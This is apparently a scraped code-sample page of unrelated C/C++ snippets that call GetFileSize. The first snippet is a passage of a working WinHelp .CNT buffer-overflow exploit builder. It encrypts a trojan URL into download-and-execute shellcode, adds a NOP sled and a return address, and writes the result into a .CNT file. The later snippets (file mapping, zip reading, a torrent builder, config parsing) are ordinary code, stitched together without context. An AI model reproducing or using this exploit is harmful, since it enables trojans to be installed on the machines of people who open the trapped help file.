	" * Archive : http://s0h.cc/exploit/s0h_Win32hlp.c        *\n"
	" * ***************************************************** *\n"
	);

if (argc < 3)
{
	printf(
		" * ***************************************************** *\n"
		" * Usage : s0h_Win32hlp.exe <trojan> <CNT file> [offset] *\n"
		" *                                                       *\n"
		" * <trojan> = host to download the trojan (http:/-       *\n"
		" * /blah.plof/trojan.exe).                               *\n"
		" *                                                       *\n"
		" * <CNT file> = The CNT file.                            *\n"
		" *                                                       *\n"
		" * [offset] = Optionnal. This one defined a number betw- *\n"
		" * een 0 and 15 that can play with the return address. - *\n"
		" * Generaly, you must used 4 if the .HLP file is called  *\n"
		" * by an application.                                    *\n"
		" * ***************************************************** *\n"	
	);

	ExitProcess (1);
}

if (argv[3]) RetByte = atoi (argv[3]) + 0xE0;

len = taille + strlen (argv[1]) + 2 + 4;
url = (char *) malloc (strlen (argv[1]));
strcpy (url, argv[1]);

/*
* Create the final shellcode
*/

Shellcode = (unsigned char *) malloc (len);

// encrypt the URL
for (i=0;i<strlen (argv[1]); argv[1][i++]^=0x99);

// inject the RealGenericShellcode in the shellcode buffer
for (i=0;i<taille; Shellcode[i]=RealGenericShellcode[i++]);

// append crypted URL to the shellcode buffer
for (i,j=0;i<len - 1;Shellcode[i++]=argv[1][j++]);


Shellcode[len-6]=0x99; // URL delimitation
Shellcode[len-5]=0x2E; // f**k the winhlp32.exe parser

// append the RET ADDR
// Play with this bytes if the xploit don't work
Shellcode[len-4]=0x30;
Shellcode[len-3]=RetByte;
Shellcode[len-2]=0x06;
Shellcode[len-1]=0x00;


/*  Now, we make a vuln string for our exploit */

buffer = (unsigned char *) malloc (VulnLen);
memset (buffer,0,VulnLen);

lstrcpy (buffer,":Link ");
for (i=6; i < VulnLen - len; buffer[i++] = (char)0x90);
for (i,j=0; i < VulnLen; buffer[i++] = Shellcode[j++]);


/* Trap the CNT file specified with the vuln string */

ExploitFile = CreateFile (argv[2],GENERIC_READ+GENERIC_WRITE,
			  FILE_SHARE_READ+FILE_SHARE_WRITE,NULL,
			  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if ( ExploitFile == INVALID_HANDLE_VALUE) {
	printf ("Error : cannot open cnt file '%s'\n",argv[2]);
	ExitProcess (1);
}

	FileSize = GetFileSize(ExploitFile, &lpFileSizeHigh);
	FileSize += lpFileSizeHigh*MAXDWORD;

	file = (char *)LocalAlloc (LPTR, FileSize + 2);
	file[0] = 0x0d;
	file[1] = 0x0a;
	file += 2;


	ReadFile(ExploitFile,file,FileSize,&lpNumberOfBytesWritten,NULL);
	
	SetFilePointer (ExploitFile,0,NULL,FILE_BEGIN);
	WriteFile (ExploitFile,buffer,VulnLen,&lpNumberOfBytesWritten,NULL);
	
	file -= 2;
	WriteFile (ExploitFile,file,FileSize+2,&lpNumberOfBytesWritten,NULL);
	
	CloseHandle(ExploitFile);
	
        printf (
		" * *******************************************************\n"
		" * The file is now traped and ready to download and exe- *\n"
		" * cute :                                                *\n"
		" * File : %s\n"
		" * At : %s\n"
		" * *******************************************************\n"
		,argv[2],url);
		
		if (RetByte != 0xE5)
			printf (
				" * *******************************************************\n"
				" * You have specified this address : 0x0006%x30          *\n"
				" * The abitrary will loaded since an application.        *\n"
				" * *******************************************************\n"
				,RetByte);
			

	return 0;
}
int read(LPTSTR lpFileName, DWORD offset, DWORD len)
{
	// Open the file
	HANDLE hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, 
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("hFile is NULL\n");
		printf("Target file is %s\n", lpFileName);
		return 4;
	}
	
	SYSTEM_INFO SysInfo;          // system information; used to get the granularity
	DWORD dwSysGran;              // system allocation granularity
	// Get the system allocation granularity.
	GetSystemInfo(&SysInfo);
	dwSysGran = SysInfo.dwAllocationGranularity;
	
	DWORD dwFileSize;             // temporary storage for file sizes
	// Let the user know that the resulting file is more than large enough
	// for the experiment.
	dwFileSize = GetFileSize(hFile,  NULL);
	printf("hFile size: %10d\n", dwFileSize);
	
	if(offset >= dwFileSize)
	{
		offset = 0;
	}
	if(len <= 0)
	{
		len = dwFileSize;
	}
	
	// Now calculate a few variables. Calculate the file offsets as
	// 64-bit values, and then get the low-order 32 bits for the
	// function calls.
	DWORD dwFileMapSize;          // size of the file mapping
	DWORD dwMapViewSize;          // the size of the view
	DWORD dwFileMapStart;         // where in the file to start the file map view
	// To calculate where to start the file mapping, round down the
	// offset of the data into the file to the nearest multiple of the
	// system allocation granularity. 
	dwFileMapStart = (offset / dwSysGran) * dwSysGran;
	printf ("The file map view starts at %ld bytes into the file.\n",
		dwFileMapStart);
	
	// Calculate the size of the file mapping view.
	dwMapViewSize = (offset % dwSysGran) + len;
	printf ("The file map view is %ld bytes large.\n", dwMapViewSize);
	
	// How large will the file-mapping object be?
	dwFileMapSize = offset + len;
	printf ("The file-mapping object is %ld bytes large.\n", dwFileMapSize);
	
	int iViewDelta;               // the offset into the view where the data shows up
	// The data of interest isn't at the beginning of the
	// view, so determine how far into the view to set the pointer.
	iViewDelta = offset - dwFileMapStart;
	printf ("The data is %d bytes into the view.\n", iViewDelta);
	
	
	HANDLE hMapFile;              // handle for the test file's memory-mapped region
	// Create a file-mapping object for the file.
	hMapFile = CreateFileMapping( hFile, // current file handle
		NULL, // default security
		PAGE_READWRITE, // read/write permission
		0,  // size of mapping object, high
		dwFileMapSize, // size of mapping object, low
		NULL); // name of mapping object
	
	if (hMapFile == NULL) {
		printf("hMapFile is NULL: last error: %d\n", GetLastError() );
		return 5;
	}
	
	LPVOID lpMapAddress;          // pointer to the base address of the memory-mapped region
	// Map the view and test the results.	
	lpMapAddress = MapViewOfFile(hMapFile, // handle to mapping object
		FILE_MAP_ALL_ACCESS, // read/write permission 
		0, // high-order 32 bits of file offset
		dwFileMapStart, // low-order 32 bits of file offset
		dwMapViewSize); // number of bytes to map
	if (lpMapAddress == NULL) {
		printf("lpMapAddress is NULL: last error: %d\n", GetLastError());
		return 6;
	}
	
	char* pData = (char *) lpMapAddress + iViewDelta;
	DWORD i;
	int x;
	//    dump((char *)pData, BUFFSIZE);
// 	for(i = 0; i < len; i++)
// 	{
// 		if(i % 16 == 0)
// 		{
// 			printf("\n");
// 		}
// 		x = (int)(*(pData + i)) & 0xFF;
// 		printf("%2X ", x);
// 	}
// 	printf("\n");
	
	x = (int)(*(pData + 0)) & 0xFF;
	printf("%2X ", x);

	x = (int)(*(pData + len - 2)) & 0xFF;
	printf("%2X ", x);

	printf("\n");
	
	// Close the file-mapping object and the open file.
	if (!UnmapViewOfFile(lpMapAddress)) 
	{ 
		printf("Could not unmap view of file. last error: %d\n", GetLastError());
	} 
	
	BOOL bFlag;                   // a result holder
	bFlag = CloseHandle(hMapFile); // close the file-mapping object
	
	if(!bFlag) 
	{
		printf("\nOops! Error # %ld occurred closing the mapping object!", GetLastError());
	}
	
	bFlag = CloseHandle(hFile);   // close the file itself
	
	if(!bFlag) 
	{
		printf("\nOops! Error # %ld occurred closing the file!", GetLastError());
	}
	
	return 0;
}
Exemplo n.º 14
0
dword C_file_read_zip::ReadCache(){

   curr = base;

   if(file_info.method==file_info.METHOD_STORE){
                           //raw read, no compression
      dword sz = Min(int(CACHE_SIZE), int(GetFileSize()-curr_pos));
      if(arch_file)
         arch_file->Read(base, sz);
      else{
#ifdef SYMBIAN_OPTIM
         TPtr8 desc(base, sz);
         file.Read(desc);
#else
         ck.Read(base, sz);
#endif
      }
      top = base + sz;
      return sz;
   }
                           //read next data from cache
   d_stream.next_out = base;
   d_stream.avail_out = Min(int(CACHE_SIZE), int(file_info.sz_uncompressed-d_stream.total_out));

   dword num_read = d_stream.total_out;
   while(d_stream.avail_out){
      int flush_flag = 0;
      if(!d_stream.avail_in){
         dword sz = Min(int(sizeof(d_buf)), int(file_info.sz_compressed-d_stream.total_in));
         if(sz){
            if(arch_file)
               arch_file->Read(d_buf, sz);
            else{
#ifdef SYMBIAN_OPTIM
               TPtr8 desc(d_buf, sz);
               file.Read(desc);
#else
               ck.Read(d_buf, sz);
#endif
            }
            d_stream.next_in = d_buf;
            d_stream.avail_in = sz;
         }else
            flush_flag = Z_SYNC_FLUSH;
      }
      int err = inflate(&d_stream, flush_flag);
      if(err == Z_STREAM_END)
         break;
      if(err != Z_OK){
         switch(err){
         case Z_MEM_ERROR: assert(0); break; //ZIP file decompression failed (memory error).
         case Z_BUF_ERROR: assert(0); break; //ZIP file decompression failed (buffer error).
         case Z_DATA_ERROR: assert(0); break;//ZIP file decompression failed (data error).
         default: assert(0);  //ZIP file decompression failed (unknown error).
         }
         return 0;
      }
   }
   num_read = d_stream.total_out - num_read;
   top = base + num_read;
   return num_read;
}
Exemplo n.º 15
0
static toff_t
_tiffSizeProc(thandle_t fd)
{
    return ((toff_t)GetFileSize(fd, NULL));
}
DebugHresult RdcFileHandleImpl::OpenSource (
    const wchar_t *fileName,
    RdcFileTransferInfo * fileInfo,
    BOOL deleteSigs,
    ULONG horizonSize1,
    ULONG horizonSizeN,
    ULONG hashWindowSize1,
    ULONG hashWindowSizeN )
{
    DebugHresult hr = S_OK;

    if ( m_SourceFile.IsValid() )
    {
        hr = E_FAIL;
    }

    if ( SUCCEEDED ( hr ) )
    {
        wcsncpy_s ( m_SourceFileName, ARRAYSIZE ( m_SourceFileName ), fileName, _TRUNCATE );
        m_SourceFileName[ARRAYSIZE ( m_SourceFileName ) - 1] = 0;

        m_SourceFile.Set ( CreateFile (
                               m_SourceFileName,
                               GENERIC_READ,
                               FILE_SHARE_READ,
                               0,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               0 ) );

        if ( !m_SourceFile.IsValid() )
        {
            hr = HRESULT_FROM_WIN32 ( GetLastError() );
        }
    }

    if ( SUCCEEDED ( hr ) && !GetFileInformationByHandle ( m_SourceFile.GetHandle(), &m_SourceFileInformation ) )
    {
        hr = HRESULT_FROM_WIN32 ( GetLastError() );
    }

    if ( SUCCEEDED ( hr ) )
    {
        fileInfo->m_FileSize =
            ( static_cast<ULONGLONG> ( m_SourceFileInformation.nFileSizeHigh ) << 32 ) |
            m_SourceFileInformation.nFileSizeLow;

        bool existing;
        hr = CreateSignatureFiles ( existing, deleteSigs );

        if ( !existing )
        {
            if ( SUCCEEDED ( hr ) )
            {
                m_GeneratorJobInfo = new ( std::nothrow ) RdcGeneratorJob();
                if ( !m_GeneratorJobInfo )
                {
                    hr = E_OUTOFMEMORY;
                }
            }

            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHorizonSize1 ( horizonSize1 );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHorizonSizeN ( horizonSizeN );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHashWindowSize1 ( hashWindowSize1 );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHashWindowSizeN ( hashWindowSizeN );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->AllocateGenerator ( fileInfo->m_FileSize,
                        fileInfo->m_SignatureDepth );
            }
            if ( SUCCEEDED ( hr ) )
            {
                fileInfo->m_SignatureDepth = m_GeneratorJobInfo->GetDepth();
            }

            if ( FAILED ( hr ) )
            {
                delete m_GeneratorJobInfo;
                m_GeneratorJobInfo = 0;
            }
        }
        else
        {
            for ( fileInfo->m_SignatureDepth = 0; fileInfo->m_SignatureDepth < MSRDC_MAXIMUM_DEPTH; ++fileInfo->m_SignatureDepth )
            {
                if ( !m_SignatureFiles[fileInfo->m_SignatureDepth].IsValid() )
                {
                    break;
                }
                ULONGLONG fileSize = 0;
                hr = GetFileSize ( fileInfo->m_SignatureDepth + 1, &fileSize );
                if ( FAILED ( hr ) )
                {
                    break;
                }
                if ( fileSize == 0 )
                {
                    break;
                }
            }
        }
    }
    if ( FAILED ( hr ) )
    {
        m_SourceFile.Close();
        CloseSignatureFiles();
    }

    return hr;
}
Exemplo n.º 17
0
BOOL CTorrentBuilder::ScanFiles()
{
    m_pSection.Lock();
    m_nTotalSize = 0;
    if ( m_pBuffer != NULL )
        delete [] m_pBuffer;
    m_sThisFile = _T(" Prescanning files...");
    m_pSection.Unlock();

    delete [] m_pFileSize;
    m_pFileSize = new QWORD[ m_pFiles.GetCount() ];
    int nFile = 0;

    for ( POSITION pos = m_pFiles.GetHeadPosition() ; pos && ! m_bAbort ; nFile++ )
    {
        CString strFile = m_pFiles.GetNext( pos );
        if ( strFile.GetLength() > MAX_PATH )
            strFile = CString( _T("\\\\?\\") ) + strFile;

        HANDLE hFile = CreateFile( strFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );

        if ( hFile == INVALID_HANDLE_VALUE )
        {
            m_pSection.Lock();
            CString strFormat;
            strFormat.LoadString( IDS_BUILDER_CANT_OPEN );
            m_sMessage.Format( strFormat, (LPCTSTR)strFile );
            m_bAbort = TRUE;
            m_pSection.Unlock();
            break;
        }

        DWORD nLow, nHigh;
        nLow = GetFileSize( hFile, &nHigh );
        CloseHandle( hFile );

        QWORD nSize = ( (QWORD)nHigh << 32 ) + (QWORD)nLow;
        m_pFileSize[ nFile ] = nSize;
        m_nTotalSize += nSize;
    }

    m_pSection.Lock();
    m_sThisFile.Empty();

    if ( m_nPieceSize == 0 )
    {
        m_nPieceSize = 1;
        QWORD nCompare = 1 << 20;
        if ( m_nTotalSize <= 50 * nCompare )
            m_nPieceSize <<= 15;
        else if ( m_nTotalSize <= 150i64 * nCompare )
            m_nPieceSize <<= 16;
        else if ( m_nTotalSize <= 350i64 * nCompare )
            m_nPieceSize <<= 17;
        else if ( m_nTotalSize <= 512i64 * nCompare )
            m_nPieceSize <<= 18;
        else if ( m_nTotalSize <= 1024i64 * nCompare )
            m_nPieceSize <<= 19;
        else if ( m_nTotalSize <= 4096i64 * nCompare )
            m_nPieceSize <<= 20;
        else if ( m_nTotalSize >= 4096000i64 * nCompare )
            m_nPieceSize <<= 22;
        else
            m_nPieceSize <<= 21;
    }

    m_nBuffer = m_nPieceSize;
    m_pBuffer = new BYTE[ m_nBuffer ];
    m_pSection.Unlock();

    return m_bAbort == FALSE;
}
Exemplo n.º 18
0
BOOL slimhelper::CompressFile(const CString& strFilePath,
                              ULONGLONG qwFileSize,
                              DWORD dwFileAttributes,
                              ISystemSlimCallBack* piCallback)
{
    BOOL retval = FALSE;
    HANDLE hFileHandle = INVALID_HANDLE_VALUE;
    BOOL bRetCode;
    USHORT uCompress = COMPRESSION_FORMAT_DEFAULT;
    DWORD dwReturn;
    ULARGE_INTEGER tempSize;
    HRESULT hr;
    BOOL bCompressed = FALSE;
    ULONGLONG qwOldFileSize = qwFileSize;
    CString strOldSecurityDescriptor;
    BOOL bIsDir = FALSE;

    if (!piCallback)
        goto clean0;

    piCallback->OnBeginProcessItem(strFilePath);

    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
    {
        dwFileAttributes = ::GetFileAttributes(strFilePath);
        if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
            goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        bIsDir = TRUE;

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        bCompressed = TRUE;
    }

    if (bCompressed)
        goto clean0;

    if (0 == qwOldFileSize)
    {
        CAtlFile file;
        hr = file.Create(strFilePath, 
            FILE_GENERIC_READ, 
            FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
            OPEN_EXISTING);
        if (FAILED(hr))
            goto clean0;

        tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
        qwOldFileSize = tempSize.QuadPart;
    }

    qwOldFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwOldFileSize);

    if (!GrantFileAccess(strFilePath, strOldSecurityDescriptor, bIsDir))
        goto clean0;

    hFileHandle = ::CreateFile(strFilePath,
                               FILE_GENERIC_READ|FILE_GENERIC_WRITE,
                               FILE_SHARE_READ|FILE_SHARE_WRITE,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);
    if (INVALID_HANDLE_VALUE == hFileHandle)
        goto clean0;

    bRetCode = ::DeviceIoControl(hFileHandle,
                                 FSCTL_SET_COMPRESSION,
                                 &uCompress,
                                 sizeof(uCompress),
                                 NULL,
                                 0,
                                 &dwReturn,
                                 NULL);
    if (!bRetCode)
        goto clean0;

    ::CloseHandle(hFileHandle);
    hFileHandle = INVALID_HANDLE_VALUE;

    tempSize.LowPart = ::GetCompressedFileSize(strFilePath, &tempSize.HighPart);
    qwFileSize = tempSize.QuadPart;
    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    piCallback->OnEndProcessItem(strFilePath, qwOldFileSize - qwFileSize);

    retval = TRUE;

clean0:
    if (hFileHandle != INVALID_HANDLE_VALUE)
    {
        ::CloseHandle(hFileHandle);
        hFileHandle = INVALID_HANDLE_VALUE;
    }

    if (strOldSecurityDescriptor.GetLength())
    {
        RestoreFileAccess(strFilePath, strOldSecurityDescriptor);
    }

    return retval;
}
Exemplo n.º 19
0
BOOL CTorrentBuilder::ProcessFile(DWORD nFile, LPCTSTR pszFile)
{
    m_pSection.Lock();
    m_sThisFile = pszFile;
    m_pSection.Unlock();

    LPCTSTR szFilepath = ( _tcsclen( pszFile ) < MAX_PATH ) ?
                         pszFile : (LPCTSTR)( CString( _T("\\\\?\\") ) + pszFile );

    HANDLE hFile = CreateFile( szFilepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );
    if ( hFile == INVALID_HANDLE_VALUE )
        return FALSE;

    DWORD nLow, nHigh;
    nLow = GetFileSize( hFile, &nHigh );
    QWORD nSize = ( (QWORD)nHigh << 32 ) + (QWORD)nLow;

    if ( m_bSHA1 ) m_pFileSHA1[ nFile ].Reset();
    if ( m_bED2K ) m_pFileED2K[ nFile ].BeginFile( nSize );
    if ( m_bMD5 )  m_pFileMD5[ nFile ].Reset();

    while ( nSize > 0 && ! m_bAbort )
    {
        DWORD nLimit = min( m_nBuffer, m_nPieceSize - m_nPieceUsed );
        DWORD nRead  = ( nSize > (QWORD)nLimit ) ? nLimit : (DWORD)nSize;

        if ( ! ReadFile( hFile, m_pBuffer, nRead, &nRead, NULL ) || nRead == 0 )
            break;

        nSize -= (QWORD)nRead;
        m_nTotalPos += (QWORD)nRead;

        m_oPieceSHA1.Add( m_pBuffer, nRead );
        m_nPieceUsed += nRead;

        if ( m_bSHA1 )
        {
            m_oDataSHA1.Add( m_pBuffer, nRead );
            m_pFileSHA1[ nFile ].Add( m_pBuffer, nRead );
        }

        if ( m_bED2K )
        {
            m_oDataED2K.AddToFile( m_pBuffer, nRead );
            m_pFileED2K[ nFile ].AddToFile( m_pBuffer, nRead );
        }

        if ( m_bMD5 )
        {
            m_oDataMD5.Add( m_pBuffer, nRead );
            m_pFileMD5[ nFile ].Add( m_pBuffer, nRead );
        }

        if ( m_nPieceUsed >= m_nPieceSize )
        {
            m_oPieceSHA1.Finish();
            m_pPieceSHA1[ m_nPiecePos++ ] = m_oPieceSHA1;
            m_oPieceSHA1.Reset();
            m_nPieceUsed = 0;
        }
    }

    if ( m_bSHA1 ) m_pFileSHA1[ nFile ].Finish();
    if ( m_bED2K ) m_pFileED2K[ nFile ].FinishFile();
    if ( m_bMD5 )  m_pFileMD5[ nFile ].Finish();

    CloseHandle( hFile );

    return ( nSize == 0 );
}
Exemplo n.º 20
0
BOOL slimhelper::RecyclePath(const CString& strFilePath, BOOL bKeepRootDir)
{
    BOOL retval = FALSE;
    CString strOldSecurityDescriptor;
    HRESULT hr;
    int nRetCode;
    ULARGE_INTEGER tempSize;
    DWORD dwFileAttributes;
    BOOL bIsDir = FALSE;
    SHFILEOPSTRUCTW fileopt = { 0 };
    ULONGLONG qwFileSize = 0;
    TCHAR* szDelPath = new TCHAR[MAX_PATH * 2];
    CString strFlagFile;

    RtlZeroMemory(szDelPath, sizeof(TCHAR) * MAX_PATH * 2);
    StringCchCopy(szDelPath, MAX_PATH * 2, strFilePath);

    fileopt.pFrom = szDelPath;
    fileopt.wFunc = FO_DELETE;
    fileopt.fFlags = FOF_SILENT|FOF_NOCONFIRMATION|FOF_NOERRORUI|FOF_ALLOWUNDO;

    dwFileAttributes = ::GetFileAttributes(strFilePath);
    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
        goto clean0;

    if (dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        bIsDir = TRUE;

    GrantFileAccess(strFilePath, strOldSecurityDescriptor, bIsDir);
    //if (!GrantFileAccess(strFilePath, strOldSecurityDescriptor))
    //    goto clean0;

    strFlagFile = strFilePath + _T("\\"); 
    strFlagFile += g_kSlimFlag;

    if (bIsDir)
    {
        ::DeleteFile(strFlagFile);
        nRetCode = SHFileOperationW(&fileopt);
        if (32 == nRetCode)
            goto clean0;

        if (0x78 == nRetCode || 5 == nRetCode)
        {
            GrantDirAccess(strFilePath);
            ::DeleteFile(strFlagFile);
            nRetCode = SHFileOperationW(&fileopt);;
        }

        if (!nRetCode)
        {
            if (bKeepRootDir)
            {
                ::CreateDirectory(strFilePath, NULL);
                // 创建瘦身后的标记文件
//                 CAtlFile file;
//                 file.Create(strFlagFile, 
//                     FILE_GENERIC_WRITE, 
//                     FILE_SHARE_READ|FILE_SHARE_WRITE,
//                     CREATE_ALWAYS);
            }
            retval = TRUE;
        }
        goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        tempSize.LowPart = GetCompressedFileSize(strFilePath, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }
    else
    {
        CAtlFile file;
        hr = file.Create(strFilePath, 
                         FILE_GENERIC_READ, 
                         FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                         OPEN_EXISTING);
        if (FAILED(hr))
            goto clean0;

        tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }

    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    nRetCode = SHFileOperationW(&fileopt);
    if (nRetCode)
        goto clean0;

    retval = TRUE;

clean0:
    if (szDelPath)
    {
        delete[] szDelPath;
        szDelPath = NULL;
    }

    return retval;
}
Exemplo n.º 21
0
  bool PreprocessPBF::Import(const TypeConfigRef& typeConfig,
                             const ImportParameter& /*parameter*/,
                             Progress& progress,
                             const std::string& filename)
  {
    FileOffset fileSize;
    FileOffset currentPosition;

    progress.SetAction(std::string("Parsing *.osm.pbf file '")+filename+"'");

    try {
      fileSize=GetFileSize(filename);

      FILE* file;

      file=fopen(filename.c_str(),"rb");

      if (file==NULL) {
        progress.Error("Cannot open file!");
        return false;
      }

      // BlockHeader

      PBF::BlockHeader blockHeader;

      if (!ReadBlockHeader(progress,file,blockHeader,false)) {
        fclose(file);
        return false;
      }

      if (blockHeader.type()!="OSMHeader") {
        progress.Error("File '"+filename+"' is not an OSM PBF file!");
        fclose(file);
        return false;
      }

      PBF::HeaderBlock headerBlock;

      if (!ReadHeaderBlock(progress,
                           file,
                           blockHeader,
                           headerBlock)) {
        fclose(file);
        return false;
      }

      for (int i=0; i<headerBlock.required_features_size(); i++) {
        std::string feature=headerBlock.required_features(i);
        if (feature!="OsmSchema-V0.6" &&
            feature!="DenseNodes") {
          progress.Error(std::string("Unsupported feature '")+feature+"'");
          fclose(file);
          return false;
        }
      }

      nodes.reserve(20000);
      members.reserve(2000);

      std::future<void> currentBlockTask;

      while (true) {
        PBF::BlockHeader blockHeader;

        if (!GetPos(file,
                    currentPosition)) {
          progress.Error("Cannot read current position in '"+filename+"'!");
          fclose(file);
          return false;
        }

        progress.SetProgress(currentPosition,
                             fileSize);

        if (!ReadBlockHeader(progress,
                             file,
                             blockHeader,
                             true)) {
          fclose(file);
          break;
        }

        if (blockHeader.type()!="OSMData") {
          progress.Error("File '"+filename+"' is not an OSM PBF file!");
          fclose(file);
          return false;
        }

        std::unique_ptr<PBF::PrimitiveBlock> block(new PBF::PrimitiveBlock());

        if (!ReadPrimitiveBlock(progress,
                                file,
                                blockHeader,
                                *block)) {
          fclose(file);
          return false;
        }

        if (currentBlockTask.valid()) {
          currentBlockTask.get();
        }

        currentBlockTask=std::async(std::launch::async,
                                    &PreprocessPBF::ProcessBlock,this,
                                    typeConfig,
                                    std::move(block));
      }

      if (currentBlockTask.valid()) {
        currentBlockTask.get();
      }
    }
    catch (IOException& e) {
      progress.Error(e.GetDescription());
      return false;
    }

    return true;
  }
Exemplo n.º 22
0
BOOL UHCParseConfig(Config *pConfig, LPWSTR lpConfigName, HANDLE hHeap)  {
	HANDLE hFile = NULL;
	DWORD dwFileSize = INVALID_FILE_SIZE, dwBytes,
		dwStringIndex = 0, dwStringBegin = 0, dwLength = 0;
	LPSTR lpBuffer = NULL;
	Config::Key key = { NULL, 0, NULL };
	BOOL result = TRUE;

	pConfig->KeyCount = 0;
	pConfig->Keys = NULL;

	hFile = CreateFileW(lpConfigName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (!hFile) {
        OutputDebugStringA("Failed to open file");
		goto BAD_RET;
    }

	dwFileSize = GetFileSize(hFile, NULL);

	if (dwFileSize == INVALID_FILE_SIZE) {
        OutputDebugStringA("Failed to open file");
		goto BAD_RET;
    }

	lpBuffer = (LPSTR)HeapAlloc(hHeap, 0, dwFileSize);

	if (!lpBuffer)
		goto BAD_RET;

	if (!ReadFile(hFile, lpBuffer, dwFileSize, &dwBytes, NULL) ||
		dwBytes != dwFileSize) {
        OutputDebugStringA("Failed to read file");
		goto BAD_RET;
    }

	for (DWORD i = 0; i < dwFileSize; ++i) {

		if (lpBuffer[i] == '/') {
			if (i + 1 < dwFileSize &&
				lpBuffer[i + 1] == '/') {
				while (i < dwFileSize) {
					if (lpBuffer[i] == '\r' || lpBuffer[i] == '\n')
						break;
					++i;
				}
			}
			else
				goto BAD_RET;
		}

		if (lpBuffer[i] == ' ' ||
			lpBuffer[i] == '\t' ||
			lpBuffer[i] == '\r' ||
			lpBuffer[i] == '\n' ||
			lpBuffer[i] == '/' ||
			i + 1 == dwFileSize)
		{
			if (i + 1 == dwFileSize &&
				!(lpBuffer[i] == ' ' ||
				lpBuffer[i] == '\t' ||
				lpBuffer[i] == '\r' ||
				lpBuffer[i] == '\n'))
				++dwLength;

			if (dwLength > 0) {
				LPSTR lpString = (LPSTR)HeapAlloc(hHeap, 0, dwLength + 1);

				if (lpString == NULL)
					goto BAD_RET;

				for (DWORD s = 0; s < dwLength; ++s)
					lpString[s] = lpBuffer[dwStringBegin + s];
				lpString[dwLength] = 0;

				if (dwStringIndex == 0)
					key.Name = lpString;
				else {
					key.ValueCount = dwStringIndex;

					if (key.Values == NULL)
						key.Values = (LPSTR*)HeapAlloc(hHeap, 0, sizeof(LPSTR));
					else
						key.Values = (LPSTR*)HeapReAlloc(hHeap, 0, key.Values, dwStringIndex * sizeof(LPSTR));

					if (!key.Values)
						goto BAD_RET;

					key.Values[dwStringIndex - 1] = lpString;
				}

				dwLength = 0;

				++dwStringIndex;
			}

			if ((lpBuffer[i] == '\r' ||
				lpBuffer[i] == '\n' ||
				i + 1 == dwFileSize) &&
				dwStringIndex > 0) {

				++pConfig->KeyCount;

				if (pConfig->Keys == NULL)
					pConfig->Keys = (Config::Key*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Config::Key));
				else
					pConfig->Keys = (Config::Key*)HeapReAlloc(hHeap, HEAP_ZERO_MEMORY, pConfig->Keys,
					pConfig->KeyCount  * sizeof(Config::Key));

				if (!pConfig->Keys)
					goto BAD_RET;

				pConfig->Keys[pConfig->KeyCount - 1] = key;
				dwStringIndex = 0;
				key.ValueCount = 0;
				key.Values = NULL;
			}

			dwStringBegin = i + 1;
		}
		else
			++dwLength;
	}

	goto RET;

BAD_RET:
	result = FALSE;
	if (pConfig->Keys) {
		for (DWORD i = 0; i < pConfig->KeyCount; ++i) {
			if (pConfig->Keys[i].Name)
				HeapFree(hHeap, 0, pConfig->Keys[i].Name);
			if (pConfig->Keys[i].Values) {
				for (DWORD v = 0; v < pConfig->Keys[i].ValueCount; ++v) {
					if (pConfig->Keys[i].Values[v])
						HeapFree(hHeap, 0, pConfig->Keys[i].Values[v]);
				}
				HeapFree(hHeap, 0, pConfig->Keys[i].Values);
			}
		}
		HeapFree(hHeap, 0, pConfig->Keys);
	}
RET:
	HeapFree(hHeap, 0, lpBuffer);
	if (hFile)
		CloseHandle(hFile);

	return result;
}
Exemplo n.º 23
0
acr_index *AcrParser::Parse()
{
	byte *data;
	ulong fsize = GetFileSize(hfile, NULL);

	try
	{
		data = new byte[fsize];
		ulong readlen = 0;
		ReadFile(hfile, data, fsize, &readlen, NULL);
	}
	catch (std::bad_alloc e)
	{
		MessageBoxA(NULL, "Exception", e.what(), MB_OK);
		return NULL;
	}
	catch (std::runtime_error e)
	{
		MessageBoxA(NULL, "Exception", e.what(), MB_OK);
		return NULL;
	}
	catch (...)
	{
		MessageBoxA(NULL, "Exception", "Unknown read file error.", MB_OK);
		return NULL;
	}


	acr_header *header = (acr_header*)data;
	is_compressed = header->compress_flag;

	byte *comp_data = data + sizeof(acr_header);

	//if (is_compressed)
	if (0)
	{
		/*
		real_size = header->orgsize;
		ulong comp_size = header->compsize;
